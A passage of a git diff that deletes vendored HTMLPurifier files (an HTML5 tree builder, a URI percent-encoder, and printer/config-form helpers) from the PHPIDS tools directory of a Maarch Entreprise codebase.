self::IN_ROW; - } - - /* A start tag whose tag name is one of: "caption", "col", "colgroup", - "tbody", "td", "tfoot", "th", "thead", "tr" */ - } elseif($token['type'] === HTML5::STARTTAG && in_array($token['name'], - array('caption', 'col', 'colgroup', 'tbody', 'td', 'tfoot', 'th', - 'thead', 'tr'))) { - /* If the stack of open elements does not have a td or th element - in table scope, then this is a parse error; ignore the token. - (innerHTML case) */ - if(!$this->elementInScope(array('td', 'th'), true)) { - // Ignore. - - /* Otherwise, close the cell (see below) and reprocess the current - token. */ - } else { - $this->closeCell(); - return $this->inRow($token); - } - - /* A start tag whose tag name is one of: "caption", "col", "colgroup", - "tbody", "td", "tfoot", "th", "thead", "tr" */ - } elseif($token['type'] === HTML5::STARTTAG && in_array($token['name'], - array('caption', 'col', 'colgroup', 'tbody', 'td', 'tfoot', 'th', - 'thead', 'tr'))) { - /* If the stack of open elements does not have a td or th element - in table scope, then this is a parse error; ignore the token. - (innerHTML case) */ - if(!$this->elementInScope(array('td', 'th'), true)) { - // Ignore. - - /* Otherwise, close the cell (see below) and reprocess the current - token. */ - } else { - $this->closeCell(); - return $this->inRow($token); - } - - /* An end tag whose tag name is one of: "body", "caption", "col", - "colgroup", "html" */ - } elseif($token['type'] === HTML5::ENDTAG && in_array($token['name'], - array('body', 'caption', 'col', 'colgroup', 'html'))) { - /* Parse error. Ignore the token. */ - - /* An end tag whose tag name is one of: "table", "tbody", "tfoot", - "thead", "tr" */ - } elseif($token['type'] === HTML5::ENDTAG && in_array($token['name'], - array('table', 'tbody', 'tfoot', 'thead', 'tr'))) { - /* If the stack of open elements does not have an element in table - scope with the same tag name as that of the token (which can only - happen for "tbody", "tfoot" and "thead", or, in the innerHTML case), - then this is a parse error and the token must be ignored. */ - if(!$this->elementInScope($token['name'], true)) { - // Ignore. - - /* Otherwise, close the cell (see below) and reprocess the current - token. */ - } else { - $this->closeCell(); - return $this->inRow($token); - } - - /* Anything else */ - } else { - /* Process the token as if the insertion mode was "in body". */ - $this->inBody($token); - } - } - - private function inSelect($token) { - /* Handle the token as follows: */ - - /* A character token */ - if($token['type'] === HTML5::CHARACTR) { - /* Append the token's character to the current node. */ - $this->insertText($token['data']); - - /* A comment token */ - } elseif($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the current node with the data - attribute set to the data given in the comment token. */ - $this->insertComment($token['data']); - - /* A start tag token whose tag name is "option" */ - } elseif($token['type'] === HTML5::STARTTAG && - $token['name'] === 'option') { - /* If the current node is an option element, act as if an end tag - with the tag name "option" had been seen. */ - if(end($this->stack)->nodeName === 'option') { - $this->inSelect(array( - 'name' => 'option', - 'type' => HTML5::ENDTAG - )); - } - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* A start tag token whose tag name is "optgroup" */ - } elseif($token['type'] === HTML5::STARTTAG && - $token['name'] === 'optgroup') { - /* If the current node is an option element, act as if an end tag - with the tag name "option" had been seen. */ - if(end($this->stack)->nodeName === 'option') { - $this->inSelect(array( - 'name' => 'option', - 'type' => HTML5::ENDTAG - )); - } - - /* If the current node is an optgroup element, act as if an end tag - with the tag name "optgroup" had been seen. */ - if(end($this->stack)->nodeName === 'optgroup') { - $this->inSelect(array( - 'name' => 'optgroup', - 'type' => HTML5::ENDTAG - )); - } - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* An end tag token whose tag name is "optgroup" */ - } elseif($token['type'] === HTML5::ENDTAG && - $token['name'] === 'optgroup') { - /* First, if the current node is an option element, and the node - immediately before it in the stack of open elements is an optgroup - element, then act as if an end tag with the tag name "option" had - been seen. */ - $elements_in_stack = count($this->stack); - - if($this->stack[$elements_in_stack - 1]->nodeName === 'option' && - $this->stack[$elements_in_stack - 2]->nodeName === 'optgroup') { - $this->inSelect(array( - 'name' => 'option', - 'type' => HTML5::ENDTAG - )); - } - - /* If the current node is an optgroup element, then pop that node - from the stack of open elements. Otherwise, this is a parse error, - ignore the token. */ - if($this->stack[$elements_in_stack - 1] === 'optgroup') { - array_pop($this->stack); - } - - /* An end tag token whose tag name is "option" */ - } elseif($token['type'] === HTML5::ENDTAG && - $token['name'] === 'option') { - /* If the current node is an option element, then pop that node - from the stack of open elements. Otherwise, this is a parse error, - ignore the token. */ - if(end($this->stack)->nodeName === 'option') { - array_pop($this->stack); - } - - /* An end tag whose tag name is "select" */ - } elseif($token['type'] === HTML5::ENDTAG && - $token['name'] === 'select') { - /* If the stack of open elements does not have an element in table - scope with the same tag name as the token, this is a parse error. - Ignore the token. (innerHTML case) */ - if(!$this->elementInScope($token['name'], true)) { - // w/e - - /* Otherwise: */ - } else { - /* Pop elements from the stack of open elements until a select - element has been popped from the stack. */ - while(true) { - $current = end($this->stack)->nodeName; - array_pop($this->stack); - - if($current === 'select') { - break; - } - } - - /* Reset the insertion mode appropriately. */ - $this->resetInsertionMode(); - } - - /* A start tag whose tag name is "select" */ - } elseif($token['name'] === 'select' && - $token['type'] === HTML5::STARTTAG) { - /* Parse error. Act as if the token had been an end tag with the - tag name "select" instead. */ - $this->inSelect(array( - 'name' => 'select', - 'type' => HTML5::ENDTAG - )); - - /* An end tag whose tag name is one of: "caption", "table", "tbody", - "tfoot", "thead", "tr", "td", "th" */ - } elseif(in_array($token['name'], array('caption', 'table', 'tbody', - 'tfoot', 'thead', 'tr', 'td', 'th')) && $token['type'] === HTML5::ENDTAG) { - /* Parse error. */ - // w/e - - /* If the stack of open elements has an element in table scope with - the same tag name as that of the token, then act as if an end tag - with the tag name "select" had been seen, and reprocess the token. - Otherwise, ignore the token. */ - if($this->elementInScope($token['name'], true)) { - $this->inSelect(array( - 'name' => 'select', - 'type' => HTML5::ENDTAG - )); - - $this->mainPhase($token); - } - - /* Anything else */ - } else { - /* Parse error. Ignore the token. */ - } - } - - private function afterBody($token) { - /* Handle the token as follows: */ - - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE */ - if($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) { - /* Process the token as it would be processed if the insertion mode - was "in body". */ - $this->inBody($token); - - /* A comment token */ - } elseif($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the first element in the stack of open - elements (the html element), with the data attribute set to the - data given in the comment token. */ - $comment = $this->dom->createComment($token['data']); - $this->stack[0]->appendChild($comment); - - /* An end tag with the tag name "html" */ - } elseif($token['type'] === HTML5::ENDTAG && $token['name'] === 'html') { - /* If the parser was originally created in order to handle the - setting of an element's innerHTML attribute, this is a parse error; - ignore the token. (The element will be an html element in this - case.) (innerHTML case) */ - - /* Otherwise, switch to the trailing end phase. */ - $this->phase = self::END_PHASE; - - /* Anything else */ - } else { - /* Parse error. Set the insertion mode to "in body" and reprocess - the token. */ - $this->mode = self::IN_BODY; - return $this->inBody($token); - } - } - - private function inFrameset($token) { - /* Handle the token as follows: */ - - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - U+000D CARRIAGE RETURN (CR), or U+0020 SPACE */ - if($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) { - /* Append the character to the current node. */ - $this->insertText($token['data']); - - /* A comment token */ - } elseif($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the current node with the data - attribute set to the data given in the comment token. */ - $this->insertComment($token['data']); - - /* A start tag with the tag name "frameset" */ - } elseif($token['name'] === 'frameset' && - $token['type'] === HTML5::STARTTAG) { - $this->insertElement($token); - - /* An end tag with the tag name "frameset" */ - } elseif($token['name'] === 'frameset' && - $token['type'] === HTML5::ENDTAG) { - /* If the current node is the root html element, then this is a - parse error; ignore the token. (innerHTML case) */ - if(end($this->stack)->nodeName === 'html') { - // Ignore - - } else { - /* Otherwise, pop the current node from the stack of open - elements. */ - array_pop($this->stack); - - /* If the parser was not originally created in order to handle - the setting of an element's innerHTML attribute (innerHTML case), - and the current node is no longer a frameset element, then change - the insertion mode to "after frameset". */ - $this->mode = self::AFTR_FRAME; - } - - /* A start tag with the tag name "frame" */ - } elseif($token['name'] === 'frame' && - $token['type'] === HTML5::STARTTAG) { - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* Immediately pop the current node off the stack of open elements. */ - array_pop($this->stack); - - /* A start tag with the tag name "noframes" */ - } elseif($token['name'] === 'noframes' && - $token['type'] === HTML5::STARTTAG) { - /* Process the token as if the insertion mode had been "in body". */ - $this->inBody($token); - - /* Anything else */ - } else { - /* Parse error. Ignore the token. */ - } - } - - private function afterFrameset($token) { - /* Handle the token as follows: */ - - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - U+000D CARRIAGE RETURN (CR), or U+0020 SPACE */ - if($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) { - /* Append the character to the current node. */ - $this->insertText($token['data']); - - /* A comment token */ - } elseif($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the current node with the data - attribute set to the data given in the comment token. */ - $this->insertComment($token['data']); - - /* An end tag with the tag name "html" */ - } elseif($token['name'] === 'html' && - $token['type'] === HTML5::ENDTAG) { - /* Switch to the trailing end phase. */ - $this->phase = self::END_PHASE; - - /* A start tag with the tag name "noframes" */ - } elseif($token['name'] === 'noframes' && - $token['type'] === HTML5::STARTTAG) { - /* Process the token as if the insertion mode had been "in body". */ - $this->inBody($token); - - /* Anything else */ - } else { - /* Parse error. Ignore the token. */ - } - } - - private function trailingEndPhase($token) { - /* After the main phase, as each token is emitted from the tokenisation - stage, it must be processed as described in this section. */ - - /* A DOCTYPE token */ - if($token['type'] === HTML5::DOCTYPE) { - // Parse error. Ignore the token. - - /* A comment token */ - } elseif($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the Document object with the data - attribute set to the data given in the comment token. */ - $comment = $this->dom->createComment($token['data']); - $this->dom->appendChild($comment); - - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE */ - } elseif($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) { - /* Process the token as it would be processed in the main phase. */ - $this->mainPhase($token); - - /* A character token that is not one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE. Or a start tag token. Or an end tag token. */ - } elseif(($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) || - $token['type'] === HTML5::STARTTAG || $token['type'] === HTML5::ENDTAG) { - /* Parse error. Switch back to the main phase and reprocess the - token. */ - $this->phase = self::MAIN_PHASE; - return $this->mainPhase($token); - - /* An end-of-file token */ - } elseif($token['type'] === HTML5::EOF) { - /* OMG DONE!! */ - } - } - - private function insertElement($token, $append = true, $check = false) { - // Proprietary workaround for libxml2's limitations with tag names - if ($check) { - // Slightly modified HTML5 tag-name modification, - // removing anything that's not an ASCII letter, digit, or hyphen - $token['name'] = preg_replace('/[^a-z0-9-]/i', '', $token['name']); - // Remove leading hyphens and numbers - $token['name'] = ltrim($token['name'], '-0..9'); - // In theory, this should ever be needed, but just in case - if ($token['name'] === '') $token['name'] = 'span'; // arbitrary generic choice - } - - $el = $this->dom->createElement($token['name']); - - foreach($token['attr'] as $attr) { - if(!$el->hasAttribute($attr['name'])) { - $el->setAttribute($attr['name'], $attr['value']); - } - } - - $this->appendToRealParent($el); - $this->stack[] = $el; - - return $el; - } - - private function insertText($data) { - $text = $this->dom->createTextNode($data); - $this->appendToRealParent($text); - } - - private function insertComment($data) { - $comment = $this->dom->createComment($data); - $this->appendToRealParent($comment); - } - - private function appendToRealParent($node) { - if($this->foster_parent === null) { - end($this->stack)->appendChild($node); - - } elseif($this->foster_parent !== null) { - /* If the foster parent element is the parent element of the - last table element in the stack of open elements, then the new - node must be inserted immediately before the last table element - in the stack of open elements in the foster parent element; - otherwise, the new node must be appended to the foster parent - element. */ - for($n = count($this->stack) - 1; $n >= 0; $n--) { - if($this->stack[$n]->nodeName === 'table' && - $this->stack[$n]->parentNode !== null) { - $table = $this->stack[$n]; - break; - } - } - - if(isset($table) && $this->foster_parent->isSameNode($table->parentNode)) - $this->foster_parent->insertBefore($node, $table); - else - $this->foster_parent->appendChild($node); - - $this->foster_parent = null; - } - } - - private function elementInScope($el, $table = false) { - if(is_array($el)) { - foreach($el as $element) { - if($this->elementInScope($element, $table)) { - return true; - } - } - - return false; - } - - $leng = count($this->stack); - - for($n = 0; $n < $leng; $n++) { - /* 1. Initialise node to be the current node (the bottommost node of - the stack). */ - $node = $this->stack[$leng - 1 - $n]; - - if($node->tagName === $el) { - /* 2. If node is the target node, terminate in a match state. */ - return true; - - } elseif($node->tagName === 'table') { - /* 3. Otherwise, if node is a table element, terminate in a failure - state. */ - return false; - - } elseif($table === true && in_array($node->tagName, array('caption', 'td', - 'th', 'button', 'marquee', 'object'))) { - /* 4. Otherwise, if the algorithm is the "has an element in scope" - variant (rather than the "has an element in table scope" variant), - and node is one of the following, terminate in a failure state. */ - return false; - - } elseif($node === $node->ownerDocument->documentElement) { - /* 5. Otherwise, if node is an html element (root element), terminate - in a failure state. (This can only happen if the node is the topmost - node of the stack of open elements, and prevents the next step from - being invoked if there are no more elements in the stack.) */ - return false; - } - - /* Otherwise, set node to the previous entry in the stack of open - elements and return to step 2. (This will never fail, since the loop - will always terminate in the previous step if the top of the stack - is reached.) */ - } - } - - private function reconstructActiveFormattingElements() { - /* 1. If there are no entries in the list of active formatting elements, - then there is nothing to reconstruct; stop this algorithm. */ - $formatting_elements = count($this->a_formatting); - - if($formatting_elements === 0) { - return false; - } - - /* 3. Let entry be the last (most recently added) element in the list - of active formatting elements. */ - $entry = end($this->a_formatting); - - /* 2. If the last (most recently added) entry in the list of active - formatting elements is a marker, or if it is an element that is in the - stack of open elements, then there is nothing to reconstruct; stop this - algorithm. */ - if($entry === self::MARKER || in_array($entry, $this->stack, true)) { - return false; - } - - for($a = $formatting_elements - 1; $a >= 0; true) { - /* 4. If there are no entries before entry in the list of active - formatting elements, then jump to step 8. */ - if($a === 0) { - $step_seven = false; - break; - } - - /* 5. Let entry be the entry one earlier than entry in the list of - active formatting elements. */ - $a--; - $entry = $this->a_formatting[$a]; - - /* 6. If entry is neither a marker nor an element that is also in - thetack of open elements, go to step 4. */ - if($entry === self::MARKER || in_array($entry, $this->stack, true)) { - break; - } - } - - while(true) { - /* 7. Let entry be the element one later than entry in the list of - active formatting elements. */ - if(isset($step_seven) && $step_seven === true) { - $a++; - $entry = $this->a_formatting[$a]; - } - - /* 8. Perform a shallow clone of the element entry to obtain clone. */ - $clone = $entry->cloneNode(); - - /* 9. Append clone to the current node and push it onto the stack - of open elements so that it is the new current node. */ - end($this->stack)->appendChild($clone); - $this->stack[] = $clone; - - /* 10. Replace the entry for entry in the list with an entry for - clone. */ - $this->a_formatting[$a] = $clone; - - /* 11. If the entry for clone in the list of active formatting - elements is not the last entry in the list, return to step 7. */ - if(end($this->a_formatting) !== $clone) { - $step_seven = true; - } else { - break; - } - } - } - - private function clearTheActiveFormattingElementsUpToTheLastMarker() { - /* When the steps below require the UA to clear the list of active - formatting elements up to the last marker, the UA must perform the - following steps: */ - - while(true) { - /* 1. Let entry be the last (most recently added) entry in the list - of active formatting elements. */ - $entry = end($this->a_formatting); - - /* 2. Remove entry from the list of active formatting elements. */ - array_pop($this->a_formatting); - - /* 3. If entry was a marker, then stop the algorithm at this point. - The list has been cleared up to the last marker. */ - if($entry === self::MARKER) { - break; - } - } - } - - private function generateImpliedEndTags($exclude = array()) { - /* When the steps below require the UA to generate implied end tags, - then, if the current node is a dd element, a dt element, an li element, - a p element, a td element, a th element, or a tr element, the UA must - act as if an end tag with the respective tag name had been seen and - then generate implied end tags again. */ - $node = end($this->stack); - $elements = array_diff(array('dd', 'dt', 'li', 'p', 'td', 'th', 'tr'), $exclude); - - while(in_array(end($this->stack)->nodeName, $elements)) { - array_pop($this->stack); - } - } - - private function getElementCategory($node) { - $name = $node->tagName; - if(in_array($name, $this->special)) - return self::SPECIAL; - - elseif(in_array($name, $this->scoping)) - return self::SCOPING; - - elseif(in_array($name, $this->formatting)) - return self::FORMATTING; - - else - return self::PHRASING; - } - - private function clearStackToTableContext($elements) { - /* When the steps above require the UA to clear the stack back to a - table context, it means that the UA must, while the current node is not - a table element or an html element, pop elements from the stack of open - elements. If this causes any elements to be popped from the stack, then - this is a parse error. */ - while(true) { - $node = end($this->stack)->nodeName; - - if(in_array($node, $elements)) { - break; - } else { - array_pop($this->stack); - } - } - } - - private function resetInsertionMode() { - /* 1. Let last be false. */ - $last = false; - $leng = count($this->stack); - - for($n = $leng - 1; $n >= 0; $n--) { - /* 2. Let node be the last node in the stack of open elements. */ - $node = $this->stack[$n]; - - /* 3. If node is the first node in the stack of open elements, then - set last to true. If the element whose innerHTML attribute is being - set is neither a td element nor a th element, then set node to the - element whose innerHTML attribute is being set. (innerHTML case) */ - if($this->stack[0]->isSameNode($node)) { - $last = true; - } - - /* 4. If node is a select element, then switch the insertion mode to - "in select" and abort these steps. (innerHTML case) */ - if($node->nodeName === 'select') { - $this->mode = self::IN_SELECT; - break; - - /* 5. If node is a td or th element, then switch the insertion mode - to "in cell" and abort these steps. */ - } elseif($node->nodeName === 'td' || $node->nodeName === 'th') { - $this->mode = self::IN_CELL; - break; - - /* 6. If node is a tr element, then switch the insertion mode to - "in row" and abort these steps. */ - } elseif($node->nodeName === 'tr') { - $this->mode = self::IN_ROW; - break; - - /* 7. If node is a tbody, thead, or tfoot element, then switch the - insertion mode to "in table body" and abort these steps. */ - } elseif(in_array($node->nodeName, array('tbody', 'thead', 'tfoot'))) { - $this->mode = self::IN_TBODY; - break; - - /* 8. If node is a caption element, then switch the insertion mode - to "in caption" and abort these steps. */ - } elseif($node->nodeName === 'caption') { - $this->mode = self::IN_CAPTION; - break; - - /* 9. If node is a colgroup element, then switch the insertion mode - to "in column group" and abort these steps. (innerHTML case) */ - } elseif($node->nodeName === 'colgroup') { - $this->mode = self::IN_CGROUP; - break; - - /* 10. If node is a table element, then switch the insertion mode - to "in table" and abort these steps. */ - } elseif($node->nodeName === 'table') { - $this->mode = self::IN_TABLE; - break; - - /* 11. If node is a head element, then switch the insertion mode - to "in body" ("in body"! not "in head"!) and abort these steps. - (innerHTML case) */ - } elseif($node->nodeName === 'head') { - $this->mode = self::IN_BODY; - break; - - /* 12. If node is a body element, then switch the insertion mode to - "in body" and abort these steps. */ - } elseif($node->nodeName === 'body') { - $this->mode = self::IN_BODY; - break; - - /* 13. If node is a frameset element, then switch the insertion - mode to "in frameset" and abort these steps. (innerHTML case) */ - } elseif($node->nodeName === 'frameset') { - $this->mode = self::IN_FRAME; - break; - - /* 14. If node is an html element, then: if the head element - pointer is null, switch the insertion mode to "before head", - otherwise, switch the insertion mode to "after head". In either - case, abort these steps. (innerHTML case) */ - } elseif($node->nodeName === 'html') { - $this->mode = ($this->head_pointer === null) - ? self::BEFOR_HEAD - : self::AFTER_HEAD; - - break; - - /* 15. If last is true, then set the insertion mode to "in body" - and abort these steps. (innerHTML case) */ - } elseif($last) { - $this->mode = self::IN_BODY; - break; - } - } - } - - private function closeCell() { - /* If the stack of open elements has a td or th element in table scope, - then act as if an end tag token with that tag name had been seen. */ - foreach(array('td', 'th') as $cell) { - if($this->elementInScope($cell, true)) { - $this->inCell(array( - 'name' => $cell, - 'type' => HTML5::ENDTAG - )); - - break; - } - } - } - - public function save() { - return $this->dom; - } -} -?> diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/PercentEncoder.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/PercentEncoder.php deleted file mode 100755 index 8420e07ddefef0b3c2e1b7c6df090762a97acb9a..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/PercentEncoder.php +++ /dev/null @@ -1,98 +0,0 @@ -<?php - -/** - * Class that handles operations involving percent-encoding in URIs. - * - * @warning - * Be careful when reusing instances of PercentEncoder. The object - * you use for normalize() SHOULD NOT be used for encode(), or - * vice-versa. - */ -class HTMLPurifier_PercentEncoder -{ - - /** - * Reserved characters to preserve when using encode(). - */ - protected $preserve = array(); - - /** - * String of characters that should be preserved while using encode(). - */ - public function __construct($preserve = false) { - // unreserved letters, ought to const-ify - for ($i = 48; $i <= 57; $i++) $this->preserve[$i] = true; // digits - for ($i = 65; $i <= 90; $i++) $this->preserve[$i] = true; // upper-case - for ($i = 97; $i <= 122; $i++) $this->preserve[$i] = true; // lower-case - $this->preserve[45] = true; // Dash - - $this->preserve[46] = true; // Period . - $this->preserve[95] = true; // Underscore _ - $this->preserve[126]= true; // Tilde ~ - - // extra letters not to escape - if ($preserve !== false) { - for ($i = 0, $c = strlen($preserve); $i < $c; $i++) { - $this->preserve[ord($preserve[$i])] = true; - } - } - } - - /** - * Our replacement for urlencode, it encodes all non-reserved characters, - * as well as any extra characters that were instructed to be preserved. - * @note - * Assumes that the string has already been normalized, making any - * and all percent escape sequences valid. Percents will not be - * re-escaped, regardless of their status in $preserve - * @param $string String to be encoded - * @return Encoded string. - */ - public function encode($string) { - $ret = ''; - for ($i = 0, $c = strlen($string); $i < $c; $i++) { - if ($string[$i] !== '%' && !isset($this->preserve[$int = ord($string[$i])]) ) { - $ret .= '%' . sprintf('%02X', $int); - } else { - $ret .= $string[$i]; - } - } - return $ret; - } - - /** - * Fix up percent-encoding by decoding unreserved characters and normalizing. - * @warning This function is affected by $preserve, even though the - * usual desired behavior is for this not to preserve those - * characters. Be careful when reusing instances of PercentEncoder! - * @param $string String to normalize - */ - public function normalize($string) { - if ($string == '') return ''; - $parts = explode('%', $string); - $ret = array_shift($parts); - foreach ($parts as $part) { - $length = strlen($part); - if ($length < 2) { - $ret .= '%25' . $part; - continue; - } - $encoding = substr($part, 0, 2); - $text = substr($part, 2); - if (!ctype_xdigit($encoding)) { - $ret .= '%25' . $part; - continue; - } - $int = hexdec($encoding); - if (isset($this->preserve[$int])) { - $ret .= chr($int) . $text; - continue; - } - $encoding = strtoupper($encoding); - $ret .= '%' . $encoding . $text; - } - return $ret; - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Printer.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Printer.php deleted file mode 100755 index 84e86116f00460bc0192806e56a50af57c47701d..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Printer.php +++ /dev/null @@ -1,176 +0,0 @@ -<?php - -// OUT OF DATE, NEEDS UPDATING! -// USE XMLWRITER! - -class HTMLPurifier_Printer -{ - - /** - * Instance of HTMLPurifier_Generator for HTML generation convenience funcs - */ - protected $generator; - - /** - * Instance of HTMLPurifier_Config, for easy access - */ - protected $config; - - /** - * Initialize $generator. - */ - public function __construct() { - } - - /** - * Give generator necessary configuration if possible - */ - public function prepareGenerator($config) { - $all = $config->getAll(); - $context = new HTMLPurifier_Context(); - $this->generator = new HTMLPurifier_Generator($config, $context); - } - - /** - * Main function that renders object or aspect of that object - * @note Parameters vary depending on printer - */ - // function render() {} - - /** - * Returns a start tag - * @param $tag Tag name - * @param $attr Attribute array - */ - protected function start($tag, $attr = array()) { - return $this->generator->generateFromToken( - new HTMLPurifier_Token_Start($tag, $attr ? $attr : array()) - ); - } - - /** - * Returns an end teg - * @param $tag Tag name - */ - protected function end($tag) { - return $this->generator->generateFromToken( - new HTMLPurifier_Token_End($tag) - ); - } - - /** - * Prints a complete element with content inside - * @param $tag Tag name - * @param $contents Element contents - * @param $attr Tag attributes - * @param $escape Bool whether or not to escape contents - */ - protected function element($tag, $contents, $attr = array(), $escape = true) { - return $this->start($tag, $attr) . - ($escape ? $this->escape($contents) : $contents) . - $this->end($tag); - } - - protected function elementEmpty($tag, $attr = array()) { - return $this->generator->generateFromToken( - new HTMLPurifier_Token_Empty($tag, $attr) - ); - } - - protected function text($text) { - return $this->generator->generateFromToken( - new HTMLPurifier_Token_Text($text) - ); - } - - /** - * Prints a simple key/value row in a table. - * @param $name Key - * @param $value Value - */ - protected function row($name, $value) { - if (is_bool($value)) $value = $value ? 'On' : 'Off'; - return - $this->start('tr') . "\n" . - $this->element('th', $name) . "\n" . - $this->element('td', $value) . "\n" . - $this->end('tr') - ; - } - - /** - * Escapes a string for HTML output. - * @param $string String to escape - */ - protected function escape($string) { - $string = HTMLPurifier_Encoder::cleanUTF8($string); - $string = htmlspecialchars($string, ENT_COMPAT, 'UTF-8'); - return $string; - } - - /** - * Takes a list of strings and turns them into a single list - * @param $array List of strings - * @param $polite Bool whether or not to add an end before the last - */ - protected function listify($array, $polite = false) { - if (empty($array)) return 'None'; - $ret = ''; - $i = count($array); - foreach ($array as $value) { - $i--; - $ret .= $value; - if ($i > 0 && !($polite && $i == 1)) $ret .= ', '; - if ($polite && $i == 1) $ret .= 'and '; - } - return $ret; - } - - /** - * Retrieves the class of an object without prefixes, as well as metadata - * @param $obj Object to determine class of - * @param $prefix Further prefix to remove - */ - protected function getClass($obj, $sec_prefix = '') { - static $five = null; - if ($five === null) $five = version_compare(PHP_VERSION, '5', '>='); - $prefix = 'HTMLPurifier_' . $sec_prefix; - if (!$five) $prefix = strtolower($prefix); - $class = str_replace($prefix, '', get_class($obj)); - $lclass = strtolower($class); - $class .= '('; - switch ($lclass) { - case 'enum': - $values = array(); - foreach ($obj->valid_values as $value => $bool) { - $values[] = $value; - } - $class .= implode(', ', $values); - break; - case 'css_composite': - $values = array(); - foreach ($obj->defs as $def) { - $values[] = $this->getClass($def, $sec_prefix); - } - $class .= implode(', ', $values); - break; - case 'css_multiple': - $class .= $this->getClass($obj->single, $sec_prefix) . ', '; - $class .= $obj->max; - break; - case 'css_denyelementdecorator': - $class .= $this->getClass($obj->def, $sec_prefix) . ', '; - $class .= $obj->element; - break; - case 'css_importantdecorator': - $class .= $this->getClass($obj->def, $sec_prefix); - if ($obj->allow) $class .= ', !important'; - break; - } - $class .= ')'; - return $class; - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Printer/CSSDefinition.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Printer/CSSDefinition.php deleted file mode 100755 index 0714580cf3ef1deb832067505182de723f55e8b2..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Printer/CSSDefinition.php +++ /dev/null @@ -1,38 +0,0 @@ -<?php - -class HTMLPurifier_Printer_CSSDefinition extends HTMLPurifier_Printer -{ - - protected $def; - - public function render($config) { - $this->def = $config->getCSSDefinition(); - $ret = ''; - - $ret .= $this->start('div', array('class' => 'HTMLPurifier_Printer')); - $ret .= $this->start('table'); - - $ret .= $this->element('caption', 'Properties ($info)'); - - $ret .= $this->start('thead'); - $ret .= $this->start('tr'); - $ret .= $this->element('th', 'Property', array('class' => 'heavy')); - $ret .= $this->element('th', 'Definition', array('class' => 'heavy', 'style' => 'width:auto;')); - $ret .= $this->end('tr'); - $ret .= $this->end('thead'); - - ksort($this->def->info); - foreach ($this->def->info as $property => $obj) { - $name = $this->getClass($obj, 'AttrDef_'); - $ret .= $this->row($property, $name); - } - - $ret .= $this->end('table'); - $ret .= $this->end('div'); - - return $ret; - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Printer/ConfigForm.css b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Printer/ConfigForm.css deleted file mode 100755 index 7af30fc3a06ef8e313f61d753fff1a900236a933..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Printer/ConfigForm.css +++ /dev/null @@ -1,10 +0,0 @@ - -.hp-config {} - -.hp-config tbody th {text-align:right; padding-right:0.5em;} -.hp-config thead, .hp-config .namespace {background:#3C578C; color:#FFF;} -.hp-config .namespace th {text-align:center;} -.hp-config .verbose {display:none;} -.hp-config .controls {text-align:center;} - -/* vim: et sw=4 sts=4 */ diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Printer/ConfigForm.js b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Printer/ConfigForm.js deleted file mode 100755 index 83e065531417f7f72cdae27dddfc5ede27131244..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Printer/ConfigForm.js +++ /dev/null @@ -1,5 +0,0 @@ -function toggleWriteability(id_of_patient, checked) { - document.getElementById(id_of_patient).disabled = checked; -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Printer/ConfigForm.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Printer/ConfigForm.php deleted file mode 100755 index 